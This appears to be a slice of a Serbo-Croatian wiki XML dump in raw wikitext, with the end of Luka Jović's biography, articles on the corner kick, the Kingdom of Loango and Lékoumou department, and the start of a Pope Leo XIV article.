|17||2||3||0||colspan="2"|—||4{{efn|Sve utakmice odigrane su u okviru [[UEFA Liga šampiona 2019/20.|Lige šampiona]].<ref name="whoscored"/>|name=ucl}}||0||2{{efn|Odnosi se na susret polufinala [[Superkup Španije u fudbalu|Superkupa Španije]], protiv ekipe [[FK Valensija|Valensije]].<ref name="SCdeESP"/>|name=sce}}||0||26||2 |- bgcolor=grey | colspan=15 | |- ! colspan="3"|Karijera !133!!43!!13!!2!!1!!0!!21!!10!!3!!0!!171!!55 |- bgcolor=grey | colspan=15 | |} </center> {| cellpadding="10" |- valign="top" || === Reprezentativna === {{Updated|20. juna 2024.}}<ref>{{cite web|url=https://eu-football.info/_player.php?id=30341|title=Luka Jović|language=en|website=eu-football.info|accessdate=2. 12. 2019}}</ref> {| class="wikitable" style="text-align:center" |- !colspan=3|[[Fudbalska reprezentacija Srbije|Srbija]] |- !Godina!!Utakmice!!Golovi |- |2018||3||0 |- |2019||4||2 |- |2020||4||3 |- |2021||9||2 |- |2022||10||3 |- |2023||1||0 |- |2024||6||1 |- !Ukupno!!37!!11 |} || === Golovi za reprezentaciju === {| class="wikitable" style="font-size:90%" ! # !! Datum !! Mesto !! Protivnik !! Gol !! Rezultat !! Takmičenje |- | 1.<ref name="NemačkaGol"/> || 20. mart 2019. || [[Volfsburg]], [[Nemačka]] || {{NogRep|NJE}} || 0 : '''1''' || 1 : 1 || Prijateljska utakmica |- | 2.<ref name="LitvanijaGol"/> || 10. jun 2019. || rowspan="4"|[[Beograd]], [[Srbija]] || {{NogRep|LIT}} || '''3''' : 0 || 4 : 1 || rowspan="2"|[[Kvalifikacije za Evropsko prvenstvo u fudbalu 2020.|Kvalifikacije za Evropsko prvenstvo 2020.]] |- | 3.<ref name="ŠkotskaGol">{{cite news|url=http://rs.n1info.com/Sport-Klub/Fudbal/a671479/Putuj-Evropo-Penal-serija-presudila-Orlovima.html|title=Putuj, Evropo: Penal serija presudila Orlovima!|last=Marinković|first=Bojan|publisher=[[N1]]|date=12. 11. 2020|accessdate=13. 11. 2020|archive-date=13. 11. 2020|archive-url=https://web.archive.org/web/20201113064005/http://rs.n1info.com/Sport-Klub/Fudbal/a671479/Putuj-Evropo-Penal-serija-presudila-Orlovima.html|url-status=dead}}</ref> || 12. novembar 2020. || {{NogRep|ŠKO}} || '''1''' : 1 || 1 : 1 |- | 4. || rowspan=2| 18. novembar 2020. || rowspan=2| {{NogRep|RUS}} || '''2''' : 0 || rowspan=2| 5 : 0 || rowspan=2| [[UEFA Liga nacija 2020/21.|Liga nacija 2020/21.]] |- | 5. || '''4''' : 0 |- | 6. | 1. septembar 2021. || [[Debrecen]], [[Mađarska]] || rowspan=2|{{NogRep|KAT}} || '''2''' : 0 || 4 : 0 || rowspan=2| Prijateljska utakmica |- | 7. | 11. novembar 2021. || [[Beograd]], [[Srbija]] || '''2''' : 0 || 4 : 0 |- | 8. || 5. jun 2022. || [[Beograd]], [[Srbija]] || {{NogRep|SLO}} || '''3''' : 1 || 4 : 1 || rowspan=2| [[UEFA Liga nacija 2022/23.|Liga nacija 2022/23.]] |- | 9. || 9. jun 2022. || [[Stokholm]], [[Švedska]] || {{NogRep|ŠVE}} || 0 : '''1''' || 0 : 1 |- | 10. || 18. novembar 2022. || [[Arad (Bahrein)|Arad]], [[Bahrein]] || {{NogRep|BHR}} || 1 : '''5''' || 1 : 5 || Prijateljska utakmica |- | 11. || 20. jun 2024. || [[Minhen]], [[Nemačka]] || {{NogRep|SLO}} || 1 : '''1''' || 1 : 1 || [[Evropsko prvenstvo u fudbalu 2024.|Evropsko prvenstvo 2024.]] |} |} == Trofeji i priznanja == {| cellpadding="10" |- valign="top" || === Klupski === ; Crvena zvezda * [[Superliga Srbije u fudbalu|Superliga Srbije]] : [[Superliga Srbije u fudbalu 2013/14.|2013/14]],<ref name="serv2014"/> [[Superliga Srbije u fudbalu 2015/16.|2015/16]].<ref name="3Medalje"/> ; Benfika * [[Prva liga Portugalije u fudbalu|Prvenstvo Portugalije]] : 2015/16,<ref name="port2016"/> 2016/17.<ref name="port2017"/> * [[Liga kup Portugalije u fudbalu|Liga kup Portugalije]] : 2015/16.<ref>{{cite web|url=https://www.ligaportugal.pt/pt/liga/jogo/20152016/tacactt/7/1|title=Marítimo M. – Marítimo M. 2 : 6|website=ligaportugal.pt|date=20. 5. 2016|accessdate=19. 12. 2019|language=pt|archive-date=2024-12-08|archive-url=https://web.archive.org/web/20241208214809/https://www.ligaportugal.pt/pt/liga/jogo/20152016/tacactt/7/1}}</ref> * [[Superkup Portugalije u fudbalu|Superkup Portugalije]] : 2016.<ref>{{Cite web|url=https://www.sportske.net/vest/medjunarodni-fudbal/benfika-osvojila-super-kup-portugalije-271428.html|title=Benfika osvojila Super Kup Portugalije|date=7. 8. 2016|accessdate=19. 12. 2019|last=Miloradović|first=Nikola|website=sportske.net}}</ref> ; Ajntraht Frankfurt * [[Kup Nemačke u fudbalu|Kup Nemačke]] : 2017/18.<ref name="Kup2018"/> ; Real Madrid * [[Prva liga Španije u fudbalu|Prvenstvo Španije]] : 2019/20, 2021/22.<ref>{{cite news|url=https://fss.rs/joviceva-titula-sa-realom-gol-lukica-starteri-fejsa-i-maksimovic-matic-slavio-protiv-milivojevica/|title=Jovićeva titula sa Realom, gol Lukića, starteri Fejsa i Maksimović, Matić slavio protiv Milivojevića|website=[[Fudbalski savez Srbije]]|date=16. 7. 2020|accessdate=25. 8. 2020}}</ref> * [[Superkup Španije u fudbalu|Superkup Španije]] : 2019/20, 2021/22. * [[UEFA Liga šampiona]] : [[UEFA Liga šampiona 2021/22.|2021/22]]. || === Pojedinačno === * Najmlađi strelac u istoriji [[FK Crvena zvezda|Crvene zvezde]], sa 16 godina, 5 meseci i 5 dana<ref name="Rekorder"/> * Najmlađi fudbaler u istoriji [[večiti derbi|večitih derbija]] sa 16 godina, 9 meseci i 25 dana{{efn|name=ntd}} * Prvi fudbaler [[FK Ajntraht Frankfurt|Ajntrahta]] iz [[Frankfurt na Majni|Frankfurta]] sa 5 pogodaka na istom susretu<ref name="Najmlađisa5AF"/> * Najmlađi strelac 5 pogodaka na utakmici u istoriji [[Bundesliga Njemačke u fudbalu|Bundeslige Nemačke]]<ref name="Najmlađisa5BL"/> * Idealni tim [[Bundesliga Njemačke u fudbalu|Bundeslige]] za sezonu [[Bundesliga Nemačke u fudbalu 2018/19.|2018/19]].<ref name="Jovic&KosticDBL"/> * Idealni tim [[UEFA liga Evrope|Lige Evrope]] za takmičarsku [[UEFA liga Evrope 2018/19.|2018/19]].<ref name="IdealniLE"/> |} == Napomene == {{notelist|group=α}} == Reference == {{reflist}} == Vanjske veze == * {{soccerway|luka-jovic/290152}} * {{Soccerbase|76197}} * {{FIFA player|385536}} * {{NFT player|pid=71339}} * [https://fss.rs/igrac/luka-jovic/ Luka Jović] na sajtu [[Fudbalski savez Srbije|Fudbalskog saveza Srbije]] {{Sastav Srbija 2018 SP}} {{Sastav Srbija 2022 SP}} {{Sastav Srbija 2024 EP}} {{Authority control}} {{Životni vijek|1997||Jović, Luka}} [[Kategorija:Srpski fudbaleri]] [[Kategorija:Fudbaleri Crvene zvezde]] [[Kategorija:Fudbaleri Benfice]] [[Kategorija:Fudbaleri Eintracht Frankfurta]] [[Kategorija:Fudbaleri Real Madrida]] [[Kategorija:Fudbaleri Fiorentine]] [[Kategorija:Fudbaleri Milana]] [[Kategorija:Biografije, Loznica]] [[Kategorija:Fudbaleri A.E.K.-a]] 4trxpva407vrjtub5aximxfvwcijri8 0 4702610 42602563 42562648 2026-05-27T15:17:24Z InternetArchiveBot 155863 Rescuing 0 sources and tagging 1 as dead.) #IABot (v2.0.9.5 42602563 wikitext text/x-wiki [[Datoteka:Man_U_vs_Spurs_2006,_Jenas_taking_a_corner_kick.jpg|mini| Jermaine Jenas ( Tottenham Hotspur ) izvodi udarac iz ugla protiv [[Manchester United F.C.|Manchester Uniteda]] . Igrači Totenhema (plavi) pokušavaju da se pomere u poziciju da usmere korner ka golu, dok igrači Junajteda (crveni, sa [[Fudbalski golman|golmanom]] u žutom) pokušavaju da se brane. [[Pomoćni sudac (fudbal)|Pomoćni sudija]] (zeleno, sa zastavicom) osigurava da se korner izvede iz unutrašnjosti četvrtine kruga.]] [[Datoteka:Alex_Del_Piero_Sydney_FC_(cropped).jpg|desno|mini|250x250piksel| [[Alessandro Del Piero]] izvodi udarac iz ugla za FC Sydney .]] [[Datoteka:Corner_area_of_a_football_field.jpg|mini| Ugaoni prostor fudbalskog terena .]] '''Korner''', poznat i kao '''udarac iz ugla''' ili '''udarac iz kuta''', način je ponovnog pokretanja igre u fudbalu kada lopta izađe iz igre preko gol-linije, a da gol nije postignut i da je poslednji dodir na lopti imao igrač odbrane.'''<ref name="laws_18832" />''' Udarac se izvodi iz ugla terena koji je najbliži mestu gde je lopta prešla gol-liniju. Kada odbrambeni tim poslednji dodirne loptu koja zatim pređe gol-liniju a da nije postignut gol, dosuđuje se korner. Korner se izvodi sa ugaonog dela terena gde je lopta izašla.<ref>{{Cite web|title=17 pravila u fudbalu|author=Mihailo Kasalica|url=https://sportovi.me/fudbal/pravila/|website=Platforma sportovi.me}}{{Dead link|date=August 2025 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> Korneri se smatraju razumnom prilikom za postizanje gola za napadački tim, iako nisu tako povoljni kao penal ili direktan slobodan udarac blizu kaznenog prostora. Korner koji se direktno pretvori u gol bez da je lopta dodirnula drugog igrača naziva se '''gol Olimpico<ref name="laws_18832">{{cite wikisource|title=Laws of the Game (1883)|quote=When a player kicks the ball, or throws it in from touch, any one of the same side who, at such moment of kicking or throwing, is nearer to the opponents' goal-line is out of play, and may not touch the ball himself, nor in any way whatever prevent any other player from doing so until the ball has been played, unless there are at such moment of kicking or throwing at least three of his opponents nearer their own goal line; '''but no player is out of play in the case of a corner-kick''' or when the ball is kicked from the goal line, or when it has been last played by an opponent.}}</ref>''' ili ređe '''Olimpijski gol'''. == Dodeljivanje == Korner se dodeljuje kada lopta potpuno pređe gol-liniju izvan okvira gola, a poslednji igrač koji ju je dodirnuo bio je član tima koji brani taj gol. Nije bitno da li je dodir bio nameran; dozvoljeno je šutirati loptu u protivnika kako bi se osvojio korner. Korner se takođe dodeljuje umesto autogola kada lopta uđe u gol tima, a poslednji dodir imao je igrač odbrane, u sledećim situacijama: * Direktno sa početnog udarca'''<ref name="laws_18832" />''', slobodnog udarca (bilo direktnog ili indirektnog)'''<ref name="laws_18832" />''', auta'''<ref name="laws_18832" />''', gol-auta'''<ref name="laws_18832" />''' ili kornera'''<ref name="laws_18832" />'''. * Iz spuštene lopte, ako lopta nije bila dotaknuta od strane najmanje dva igrača.'''<ref name="laws_18832" />''' Korner se izvodi iz ugla terena najbližeg mestu gde je lopta izašla iz igre. == Procedura == [[Datoteka:BarwellFC.jpg|desno|mini|250x250piksel| Igrač izvodi udarac iz ugla]] * Pomoćni sudija signalizira korner tako što prvo podigne zastavicu, a zatim njome pokazuje na ugao terena. Sudija pokazuje korner podizanjem ruke i pokazivanjem na odgovarajući ugao. * Lopta mora biti mirna i postavljena na zemlju unutar ugla označenog četvrtinom kruga s radijusom od jednog metra.<ref name="procedure5">{{cite web|url=http://www.theifab.com/laws/chapter/37/section/110/|title=Laws of the Game: Law 17: Corner Kick: Procedure|date=2019|access-date=22 September 2019}}</ref><ref name="procedure5" /> * Svi protivnički igrači moraju biti udaljeni najmanje 9,15 metara (10 jardi) od ugla dok lopta ne bude u igri. Na gol-liniji i aut-liniji mogu se postaviti oznake radi lakšeg sprovođenja ovog pravila.<ref name="procedure5" /> * Lopta je u igri kada je šutirana i jasno se pomeri; ne mora napustiti ugao. * Igrač koji izvodi korner ne sme dodirnuti loptu drugi put pre nego što je dotakne drugi igrač. * Napadačka ekipa može direktno postići gol iz kornera. <ref name="procedure5" />Direktan autogol nije moguć; ako lopta završi u sopstvenom golu iz kornera, protivničkom timu se dodeljuje korner.<ref name="procedure5" /> === Pogreške prilikom izvođenja kornera === Ako se korner izvodi dok je lopta u pokretu ili sa pogrešnog mesta, udarac se ponavlja.<ref name="sanctions2">{{cite web|url=http://www.theifab.com/laws/chapter/37/section/111/|title=Laws of the Game: Law 17: Corner Kick: Offences and Sanctions|date=2019|access-date=22 September 2019}}</ref> Protivnički igrači moraju se povući na propisanu udaljenost. Ako to ne učine, može se dosuditi [[Žuta karta|žuti karton]].<ref name="sanctions2" /> Igrač koji odugovlači sa izvođenjem kornera dobija opomenu.<ref name="sanctions2" /> Ako igrač koji izvodi korner dodirne loptu drugi put pre nego što je dotakne drugi igrač, dosuđuje se indirektni slobodni udarac za protivnički tim<ref name="sanctions2" />, osim ako je drugi dodir bio ozbiljniji prekršaj rukom, što se kažnjava direktnim udarcem. === Taktike izvođenja i odbrana === [[Datoteka:Chelsea_1_lLiverpool_0_(2-1_agg)_Capital_One_Cup_semi_final_2nd_leg_On_our_way_to_Wembley!_(15768333164).jpg|desno|mini|250x250piksel| Igrači [[Liverpool F.C.|Liverpoola]] (crveni) pripremaju se za odbranu ugla [[Chelsea F.C.|Chelsea]] (plavi).]] [[Datoteka:На_матче_Бельгия_-_Англия_14_июля_2018_года.jpg|desno|mini|250x250piksel| [[Eden Hazard]] iz Belgije (lijevo, žuti) ima opciju da odigra kratki korner protiv [[Fudbalska reprezentacija Engleske|Engleske]] (crveni) na [[FIFA Svjetsko prvenstvo 2018.|Svjetskom prvenstvu 2018]] .]] Uobičajena taktika je da više napadača stoji blizu gola, a igrač koji izvodi korner centrira loptu kako bi je uputili glavom ka golu. Odbrambeni tim može formirati "zid" igrača kako bi prisilio napadače da pošalju loptu u lakše branjen prostor. Odbrambeni tim može postaviti igrača pored stative kako bi dodatno zaštitio gol. Cilj je pokriti što više gol-linije, a postavljanje igrača pored stative ne ugrožava ofsajd zamku jer ofsajd ne važi za prvi dodir iz kornera. Kada ekipa zaostaje gol pri kraju meča, čak i [[Fudbalski golman|golman]] može krenuti u napad. Odbrambeni tim takođe može odlučiti da postavi igrača pored jedne ili obe stative kako bi dodatno zaštitio gol uz golmana. Ideja postavljanja igrača pored stative je da se veći deo gola zaštiti, a da se ne izgubi mogućnost igranja ofsajd zamke jer ofsajd ne važi za prvi dodir iz kornera. To takođe kompenzuje pozicioniranje ili doseg golmana. Tim koji brani mora odlučiti i koliko igrača treba za odbranu kornera. Timovi mogu povući sve igrače u defanzivnu zonu, ali to smanjuje šanse za brzi kontranapad ako osvoje posed lopte, čime omogućavaju napadačkom timu da pošalje više igrača ka golu. Povlačenje svih igrača u odbranu znači da, ako lopta bude izbačena iz početnog centaršuta, napadački tim će verovatno ponovo osvojiti loptu i započeti novi napad. U situacijama kada je dodeljen prekid, poput kornera, timu koji gubi jedan gol pri kraju meča, gde dodatno primanje gola nije od velikog značaja (npr. u eliminacionom turniru), ekipa može poslati sve svoje igrače, uključujući i [[Fudbalski golman|golmana]], u napad. ==== Čovjek protiv zonskog obilježavanja ==== Dve popularne strategije za odbranu od kornera su markiranje čovek-na-čoveka i zonsko markiranje. Markiranje čovek-na-čoveka znači da svaki igrač odbrane dobije napadača koga treba da pokriva, sa ciljem da spreči protivničkog igrača da glavom udari loptu. Druga taktika, zonsko markiranje, znači da se svakom igraču dodeli određena zona u kaznenom prostoru koju treba da brani. Cilj igrača u zonskom markiranju je da prvi dođu do lopte ako uđe u njihovu zonu i izbace je iz opasnosti pre nego što napadač stigne do nje. ==== Alternativne taktike ==== Umesto da izvođač pokuša centaršut, alternativna strategija za napadački tim je kratak korner. Lopta se dodaje igraču blizu izvođača kornera kako bi se stvorio bolji ugao za napad ka golu. Timovi koji žele da troše vreme mogu zadržavati loptu u uglu terena što je duže moguće, umesto da pokušaju napad. == Postizanje gola direktno iz kornera (''Olimpico gol'') == [[Datoteka:Gololimpicodeonzari.jpg|mini| Cesáreo Onzari postiže gol za Argentinu protiv Urugvaja na Estadio Sportivo Barracas . Ovo je bio prvi gol postignut direktno iz kornera, 1924. godine.]] Moguće je postići gol iz kornera ako je lopta dovoljno zavrnuta ili ako vetar duva ka golu. Golman se obično smatra odgovornim ako lopta direktno iz kornera završi u golu.<ref name="sanctions2" /> Ova vrsta gola naziva se '''Olimpijski gol''' ili '''gol Olimpico'''. Dana 14. juna 1924, IFAB je formalno legalizovao postizanje gola na ovaj način; prvi takav gol postigao je Cesáreo Onzari iz Argentine 2. oktobra 1924. protiv Urugvaja, koji je upravo osvojio olimpijsku titulu.<ref name="sanctions2" /> Decenijama su govornici engleskog jezika koristili termin "Olympic goal". Međutim, u 21. veku je došlo do porasta upotrebe izraza "Olimpico goal", izvedenog iz španskog i portugalskog termina "gol olímpico" koji je široko korišćen u Latinskoj Americi.<ref name="sanctions2" /> Max Bretos ga je koristio na Fox Soccer Channel-u u Sjedinjenim Američkim Državama, što odražava latino uticaj na kulturu sporta. Gotovo svi izveštaji o golu Megan Rapinoe u meču za bronzanu medalju na Olimpijskim igrama u Tokiju 2020. nazvali su ga '''golom Olimpico'''. '''Značajni primjeri''' * Iako FIFA navodi da je prvi gol iz kornera postigao Billy Alston u Škotskoj 21. avgusta 1924. godine,<ref name="sanctions2" /> zapravo je Alstonov gol postignut glavom dva dana kasnije, 23. avgusta 1924, kada je igrao za St Bernard's F.C. protiv Albion Rovers F.C. u utakmici Škotske druge lige. <ref name="sanctions2" /> * Prvi zabeleženi gol Olimpico u Engleskoj postigao je Billy Smith iz Huddersfield Towna 11. oktobra 1924. * Portugalski fudbaler João Morais je direktno iz kornera postigao gol za Sporting Clube de Portugal u finalu Kupa pobednika kupova 1964. godine, odlučivši utakmicu i sudbinu trofeja. * Steve Staunton je postigao dva gola Olimpico za [[Republika Irska|Republiku Irsku]]: prvi protiv Portugala na Kupu SAD-a 7. juna 1992. godine, a drugi protiv Severne Irske u kvalifikacijama za Svetsko prvenstvo 31. marta 1993. <ref name=":0">{{Cite web|url=https://www.soccer-ireland.com/football-statistics/score-direct-corner.htm|title=Score direct fom a corner kick : Irish internationals Johnny Gavin & Steve Staunton|date=31 December 2022}}{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> * Megan Rapinoe iz Sjedinjenih Američkih Država postigla je prvi Olimpico gol na Olimpijskim igrama u polufinalu ženskog turnira 2012. godine protiv [[Kanada|Kanade]], kao i u meču za bronzanu medalju protiv [[Australija|Australije]] 2020<ref name=":0" />. * Prvi Olimpico gol na muškom Svetskom prvenstvu postigao je Marcos Coll iz [[Kolumbija|Kolumbije]] protiv Sovjetskog Saveza na Svetskom prvenstvu 1962, savladavši Lava Jašina, koji se smatra jednim od najboljih [[Fudbalski golman|golmana]] svih vremena,<ref name=":0" /> iako nova istraživanja ukazuju da je prvi takav gol postigao Jose Magriña na Svetskom prvenstvu 1938. godine.<ref name=":0" /> * U januaru 2012, Paul Owens je iskoristio jak vetar da postigne dva gola direktno iz kornera u drugom poluvremenu pobede Colerainea nad Glenavonom 3-1 u irskoj Premijer ligi.<ref name=":0" /> * U pobedi [[Vijetnam|Vijetnama]] od 7-0 nad [[Malezija|Malezijom]] na AFF Prvenstvu za žene 2015. godine, Nguyễn Thị Tuyết Dung je postigla dva gola direktno iz kornera, sa obe strane terena i svakom nogom. Takođe je postigla još jedan gol iz kornera protiv [[Mjanmar|Mjanmara]] na Azijskom prvenstvu za žene 2022. godine. * Na Svetskom prvenstvu za žene 2019, Elise Kellond-Knight je direktno iz kornera postigla gol za Australiju u 83. minutu, izjednačivši rezultat protiv Norveške, koja je na kraju pobedila nakon penala. * [[Melbourne Victory]] je osvojio W-League finale 2021. godine kada je Kyra Cooney-Cross postigla gol direktno iz kornera u 120. minutu.<ref name=":0" /> * Mohsin al-Haldi je postigao gol direktno iz kornera za Oman protiv Vijetnama u trećoj rundi kvalifikacija za Svetsko prvenstvo 2022. godine. Skoro je postigao još jedan gol protiv Kine, ali je Amjad Al-Harthi blago dotakao loptu pre nego što je ušla u mrežu. Katie Zelem, vezistkinja * Manchester United Women, postigla je dva gola Olimpico u pobedi nad Leicester Cityjem 4-0 6. marta 2022. godine u FA Women’s Super ligi. * Douglas Luiz je postigao gol direktno iz kornera za Aston Villu u porazu od Arsenala 2-1 u Premijer ligi 31. avgusta 2022. godine. To je bio drugi put u nedelji da je postigao gol direktno iz kornera, nakon što je to učinio protiv Bolton Wanderersa u EFL Kupu. * Claire Emslie je postigla gol direktno iz kornera za Angel City FC u meču NWSL-a protiv OL Reign, koji je završio porazom 4-1, 23. maja 2023. godine.<ref name=":0" /> * Katie McCabe je postigla gol direktno iz kornera za Republiku Irsku u porazu 1-2 od Kanade u grupnoj fazi Svetskog prvenstva za žene 26. jula 2023. godine.<ref name=":0" /> * Tristan Borges je postigao Olimpico kao gol za pobedu u produžecima finala Kanadske premijer lige 2023. godine, osiguravši titulu za Forge FC pobedom 2-1 nad Cavalry FC.<ref name=":0" /> * James Ward-Prowse je postigao Olimpico gol za pobedu West Ham Uniteda protiv Wolverhampton Wanderersa 6. aprila 2024. godine. * [[Christian Pulisic]] je postigao Olimpico gol za AC Milan u pobedi nad Club Bruggeom 3-1 u Ligi šampiona 22. oktobra 2024.<ref name=":0" /> == Reference == <references /> === Izvori === * (LOTG){{Cite web|url=http://static-3eb8.kxcdn.com/documents/274/092646_180517_LotG_17_18_FINAL_EN.pdf|title=Laws of the Game 2017–2018}} <cite class="citation web cs1" id="CITEREFInternational_Football_Association_Board2017">[http://static-3eb8.kxcdn.com/documents/274/092646_180517_LotG_17_18_FINAL_EN.pdf "Zakoni igre 2017–2018"] <span class="cs1-format">(PDF)</span> .</cite> <cite class="citation web cs1" id="CITEREFInternational_Football_Association_Board2017">FIFA.</cite> <cite class="citation web cs1" id="CITEREFInternational_Football_Association_Board2017">[https://web.archive.org/web/20170816152005/http://static-3eb8.kxcdn.com/documents/274/092646_180517_LotG_17_18_FINAL_EN.pdf Arhivirano] <span class="cs1-format">(PDF)</span> iz originala 16. avgusta 2017.</cite> {{Authority control}} [[Kategorija:Fudbalska pravila]] kwplmh3vldic5vb7ucjhy3aj8kq3w6k 0 4714345 42602574 42452351 2026-05-27T16:53:08Z InternetArchiveBot 155863 Rescuing 0 sources and tagging 1 as dead.) #IABot (v2.0.9.5 42602574 wikitext text/x-wiki {{Okvir bivše zemlje svijeta |ime=Kraljevstvo Loango |hr_ime =Kraljevstvo Loango |izvorno_ime =Nsi ya Luangu |status = |genitiv= |kontinent = [[Afrika]] |država = |vlada_tip =[[monarhija]] |godina_start =oko [[1550]]. |godina_kraj =oko [[1883]]. |događaj_start =osnivanje |era = |datum_start =[[1550]] |događaj_kraj=[[aneksija]] |datum_kraj =[[1883]] |fusnote = |p1= [[Kraljevstvo Kongo]] |flag_p1=Flag_of_the_Kingdom_of_Kongo_according_to_Giovanni_Cavazzi_da_Montecuccolo.svg |s1=[[Francuski Kongo]] |flag_s1=Flag_of_France.svg |s2= |flag_s2= |zastava =Flag_of_the_Kingdom_of_Loango.svg |zastava_tip = |grb = |grb_tip = |mapa =1770_Bonne_(coloured_excerpt).png |mapa_opis = [[Karta]] kongoanskih kraljevstva iz [[1770]]. |glavni_grad =[[Loango (Republika Kongo)|Loango]] |himna = |jezik =[[kikongo]] |vođa1= |godina_vođa1= |vođa2= |godina_vođa2= |vođa3= |godina_vođa3= |vođa4= |godina_vođa4= |titula_vođa1 =[[kralj]] |stat_površina1 = |stat_pop1 = |stat_godina1 = |vjera = |valuta= |fusnote = }} '''Kraljevstvo Loango''' ([[kikongo]]]: ''Nsi ya Luangu'') znano i kao ''Kraljevstvo Brama'', bila je jedna od [[Afrika|afričkih]] pred[[kolonijalizam|kolonijalnih]] [[kraljevina]] koja se prostirala u [[sliv]]u rijeke [[Kouilou-Niari]] na terenu današnje [[Republika Kongo|Republike Kongo]].<ref name=brit/> == Historija i karakteristike == To je bila [[pleme|plemenska]] [[monarhija]] [[Vili (narod)|Naroda Vili]] (Bavili), nastala krajem [[16. vijek]]a, koja je izgleda na početku bila [[vazal]] [[Kraljevstvo Kongo|Kraljevstva Kongo]].<ref name=it>{{cite web |url=https://www.treccani.it/enciclopedia/loango_(Dizionario-di-Storia)/ |title= ''Loango'' |publisher=Enciclopedia Italiana Treccani |language =talijanski |accessdate =30.03. 2025.}}</ref> Tokom [[17. vijek]]a postala je važan centar [[trgovina|trgovine]] [[rob]]ljem i [[slonovača|slonovačom]] sa [[Portugalci]]ma i [[Nizozemci]]ma <ref name=it/> [[Kralj]] je nominalno bio vrhovni [[vladar]], ali je kraljevina bila [[Decentralizacija|decentralizirana]]. Po [[provincija]]ma su prilično samostalno vladali njegovi [[sin]]ovi [[nasljedno pravo|nasljednici]], koji su mjenjali na [[tron]]u i po provincijama po određenom redosljedu kad bi kralj [[smrt|umro]]. Ostali službenici kraljevstva obavljali su svoju službu doživotno.<ref name=brit/> Tokom [[18. vijek]]a vlast se počela osipati, od [[1786]]. nastupio je period [[anarhija|anarhije]], pa kraljevi više nisu imali nikakvu stvarnu vlast.<ref name=brit>{{cite web |url=https://www.britannica.com/place/Kingdom-of-Loango |title= ''Kingdom of Loango'' |publisher=Encyclopaedia Britannica |language =engleski |accessdate =30.03. 2025.}}</ref> Kraljevstvo je postalo [[Francuska|francuski]] [[vazal]] nakon što je [[francuzi|francuski]] [[poručnik]] Cordiera [[1883]]. prisilio tadašnjeg kralja da sklopi [[ugovor]] o [[protektorat]]u.<ref name=fra>{{cite web | url =https://www.lepratiqueducongo.com/pointe-noire-une-histoire-et-un-developpement-lies-a-leconomie/ | title =''Pointe-Noire, une histoire et un développement liés à l’économie'' | accessdate =30.03.2025. | language =francuski | author =Vennetier Pierre | publisher =Le Pratique du Congo }}{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> == Izvori == {{reflist}} == Vanjske veze == {{Commonscat|Loango}} * [https://www.britannica.com/place/Kingdom-of-Loango ''Kingdom of Loango''] {{en icon}} [[Kategorija:Bivše države u Africi]] [[Kategorija:Historija Republike Konga]] g0ekfou242s2w3g0u1t13dntj3teoc6 0 4714457 42602705 42454008 2026-05-28T09:34:48Z InternetArchiveBot 155863 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602705 wikitext text/x-wiki {{Regija (HR) | ime =Lékoumou | ime_genitiv=Lékoumoua | slika =Lekoumou_in_Congo.svg | slika_opis= Pozicija departmana na [[Karta|karti]] [[Rpublika Kongo|Republike Kongo]] | nalazi_se_u_sastavu=[[Republika Kongo|Republike Kongo]] | upravni_oblik=[[departman]] | službeni_jezik=[[francuski jezik|francuski]] | glavni_grad=[[Sibiti]] | vladar =Micheline Nguessimi | titula_vladara=[[Prefekt (Francuska)|Prefekt]] | površina=20950 | stanovnika=100559 | pozivni_broj = | web= | komentar = |}} '''Lékoumou''' (čita se ''Lekumu'') je jedan od 12 [[Departmani Republike Kongo|departmana]] na koje je [[Republika Kongo]] [[državna uprava|administrativno]] podjeljena. == Karakteristike== Departman se nalazi na [[jugoistok]]u [[Republika Kongo|zemlje]],prostire se na [[površina|površini]] od 20,950 [[km²]], u kojoj živi 100,559 [[Stanovništvo|stanovnika]].<ref name=fra>{{cite web | url =https://www.citypopulation.de/en/congo/cities/?admid=6638 | title =''Lékoumou Department in Congo (Rep)'' | accessdate =31.03.2025. | language=engleski | publisher=City population}}</ref> Na [[sjever]]u [[granica|graniči]] sa [[Gabon|Republikom Gabon]], na [[jug]]u sa [[Bouenza (departman)|Departmanom Bouenza]], na [[istok]]u sa departmanima [[Plateaux (departman Republike Kongo)|Plateaux]] i [[Pool (departman)|Pool]] i na [[zapad]]u sa [[Niari (departman)|Departmanom Niari]].<ref name=liz>{{cite web | url =https://liziba.cg/departement-de-la-lekoumou/ | title =''Lékoumou'' | accessdate =31.03.2025. | language =francuski | publisher =Liziba | archive-date =2025-02-16 | archive-url =https://web.archive.org/web/20250216145702/https://liziba.cg/departement-de-la-lekoumou/ | url-status =dead }}</ref> [[Upravni centar|Administrativni centar]] departmana je [[grad]] [[Sibiti]] koji ima 33,887 [[Stanovništvo|stan.]]<ref name=city>{{cite web | url =https://www.citypopulation.de/en/congo/cities/?cityid=1235 | title =''Sibiti Commune in Lékoumou'' | accessdate =31.02.2025. | language=engleski | publisher=City population}}</ref> Departman je administrativno podjeljen na 5 [[okrug|distrikta]]<ref name=liz>;; * Bambama * Komono * Mayéyé * Sibiti * Zanaga == Izvori == {{izvori}} == Vanjske veze == * [https://liziba.cg/departement-de-la-lekoumou/ ''Lékoumoul''] {{Webarchive|url=https://web.archive.org/web/20250216145702/https://liziba.cg/departement-de-la-lekoumou/ |date=2025-02-16 }} {{fr icon}} {{Departmani Republike Kongo}} [[Kategorija:Departmani Republike Konga]] d4kaglxjejy4my85a6uv84z647qv9ae 0 4715359 42602629 42482384 2026-05-28T00:21:57Z InternetArchiveBot 155863 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602629 wikitext text/x-wiki {{Infokutija papa | hrvatsko_ime = Lav XIV. | latinsko_ime = Leo PP. XIV | pravo_ime = Robert Francis Prevost | slika = Pope Leo XIV 3 (3x4 cropped).png | slika_širina = 220px | slika_opis = | papa_od = [[8. svibnja]] [[2025.]] | papa_do = ''inkumbent'' | prethodnik = [[Papa Franjo|Franjo]] | nasljednik = | datum_rođenja = [[14. rujna]] [[1955.]] | mjesto_rođenja = {{nowrap|{{flagicon|SAD|1912}} [[Chicago]], [[Illinois|IL]],<br>[[Sjedinjene Države]]}} | datum_smrti = | mjesto_smrti = | imenjaci = Lav | fusnota = }} [[Datoteka:Coat of arms of Leone XIV.svg|mini]] [[Papa]] '''Lav XIV.''', rođen kao '''Robert Francis Prevost''' ([[Chicago]], [[Illinois|IL]], [[14. rujna]] [[1955.]]), 267. 